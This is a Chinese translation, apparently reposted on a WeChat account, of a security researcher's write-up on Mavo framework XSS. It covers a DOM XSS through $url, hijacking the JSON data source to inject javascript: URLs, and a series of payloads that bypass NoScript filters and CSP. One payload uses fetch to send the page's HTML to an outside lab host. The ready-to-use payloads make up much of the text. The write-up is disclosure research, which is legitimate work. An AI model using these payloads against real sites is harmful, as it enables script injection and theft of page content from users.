查看原文
其他

用 JavaScript 框架绕过 XSS 防御

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


作者:Gareth Heyes,翻译:Twosecurity


本文讲解如何利用 Mavo 来突破防御(特别是 NoScript 过滤器)。Marvo 允许开发者用纯 HTML 创建可交互的 Web App。


$url的 DOM XSS


通过 Mavo 的 $url,开发者可以方便地得到 GET 参数。比方说你想得到参数 x,那么你可以这么写:


$url.x //retrieves the GET parameter x


很遗憾,这种方便也会带来 DOM 类型的 XSS。我在17年五月份汇报过类似问题给 CSS 工作组。他们用 Mavo 管理评论并设置 $url 参素为 href,代码大致如下:


<h1><a href="{$url.spec}"mv-attribute="null"property="title"></a></h1>


如你所见,他们通过 $url 获取参数。然而,这个链接只有在获取了有效数据的情况下才会被展示。我可以注入一个 javascript 伪协议,让其获得有效数据并回显:


javascript:alert(1)%252f%252f..%252fcss-images


上面的攻击向量提供了一个相对路径。这样,Mavo 会先进入不存在的 javascript:alert(1) 文件夹,再通过..穿越到父目录读取有效的 css-images。除此之外,我还添加了两个换行符注释掉后面的非法语句,当目标点开这个链接时,就能保证用户正常执行代码。Mavo 至今依然有类似问题,有兴趣的可以点击[Poc]复现。

远程加载 JSON 数据


Mavo 支持用户通过 source 将 Mavo App 的数据源改为 local storage 或者其它位置。这一特性无疑大大地方便了攻击者篡改网页内容或者注入恶意 javascript URL。讽刺的是,Mavo 主页的 Demo 恰好有此类漏洞。我们可以用参数指向外部 JSON 文件(在跨域访问之前,记得开启“Access-Control-Allow-Origin:* ”头)并任意修改该 app 的数据。漏洞代码如下:


<a property="companyURL"mv-attribute="null" href="[companyURL]"target="_blank">http://lea.verou.me</a>


此处的 href 使用了一个 Mavo 的表达式。"companyURL"是从 JSON 中加载的。如果我们包含了如下 JSON 文件:


{

"companyLogo":

"http://lea.verou.me/logo.svg",

"companyName":

"Pwnd Pwnd",

"companyAddress":

"Pwnd",

"companyURL":

"javascript:alert(1)",

"companyEmail":

"pwnd",

...


那么恶意的 javascript 协议会被引入。


绕过 NoScript 检测


Mavo 默认允许我们在 HTML 文件中添加 MavoScript(这个 DSL 加入了对 js 的一些改善和扩展)。说我们可以用 and,or,mod 代替符号运算。其中,=符号被用来判断(js 中是赋值)。再者,调用数学相关的方法时,我们不必使用 Math 对象(比方说直接 max(1,2,3))。


如果 Mavo 解析到了无效的 MavoScript,那么其会被回滚,并用 javascript parser 解析该段代码。


比方说,我们想在 HTML 中计算1+1,那么我们可以通过[]插入表达式(类似 Angualr 的{{}}):


[ 1+1 ]


虽然 Mavo 并没有沙箱机制,但是我们的代码会被重写并在 with 中执行。因此,我们在调用的时候需要用到 self 或者 window 对象:


[self.alert(1)]


Mavo 也支持 property 属性。它会将 DOM 元素和 javascript 变量关联起来,比方说:


<p>Slider value: [strength]/100</p><input type="range" property="strength"title="[strength]%" />


我们还注意到其它几个有意思的表达式:mv-value 和 mv-if 能脱离[]执行脚本。如果表达式为false,mv-if 会改变 DOM 值。值得注意的是这一表达式在任意标签上都可以使用:


<div mv-if=”false”>Hide me</div>


在表达式中,MavoScript 有更有意思的行为。你可以使用没被双引号括起来的字符串(前提是它们需要包含字符,数字,或者下划线)。如果对象属性不存在的话,它们会被转换为空字符。


了解了这么多之后,我开始研究如何绕过 NoScript 过滤器,DOM 过滤器,和 CSP。其中,绕过 DOM 过滤器最为简单。因为你可以使用 data-* 属性来绕过 HTML 验证。在 Mavo 中,如果你要启用 CSP,就不得不开启 unsafe-eval。这意味着我们多了用 eval 直接执行字符串的危险。


我和 NoScript 的作者来了一场对抗赛,我的目标很简单:绕过 NoScript 并外带数据。我的第一个绕过是通过一个简单的 fetch 达成的:


[1 and self.fetch('//http://subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]


因为 NoScript 过滤器看不懂 and,方括号和&,我可以通过&拼接字符串并发送 HTML。


后来 NoScript 开始检测这些关键字,不过我再一次 bypass 了它:[''=''or self.alert(lol)]。此处的=是用来判断,由于 javascript 并没有定义紧随其后的 or,所以 NoScript 不会认为后面的代码为 javascript。


正如我前面说的那样,mv- 属性允许表达式自定义分隔符(默认是:[])执行 MavoScript。当NoScript 开始检查[]时,我们可以用该属性进一步绕过:


<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>


接下来,我开始研究如何用 html 中的 Mavo 表达式绕过防御。通过在HTML中插入 javascript url,我们可以轻易绕过 CSP:


<a href=[javascript&':alert(1)']>test</a>


虽然没有引号,这里的 javascript 是一个字符串,payload 再用&将 javascript 和 ':alert(1)' 拼合在一起。


后来 NoScript 作者又将上述 bypass 封杀,不过我发现了用多重表达式配合 tag 属性的绕过技巧:


<a href='[javascript][":"][x.title][1][x.rel]' rel=) id=x title=alert(>test</a>


或者:


<a href=javascript[x.rel]1)id=x rel=:alert(>test</a>


除此之外,我还可以用/**/强制 Mavo 解析器变为 javascript 模式,再用 js 的方式拼接字符串:


[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>


如果函数调用末尾紧跟着数字,NoScript 就不会检查这个语句。而在 Mavo 中,mod 是一个运算符,因此我们可以用它在在函数后面接数字。由于我们并不需要空格(1%1不需要空格,所以1mod1也不用,毕竟它是一个运算符),NoScript 也不会检查该语句了:


[self.alert(1)mod1]


总结


由于引入了大量特殊符号,Mavo 会大大地削弱 CSP,NoScript 等保护机制。除了传统的 DOM XSS 外,Mavo 还引入了数据源劫持等新型漏洞。

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存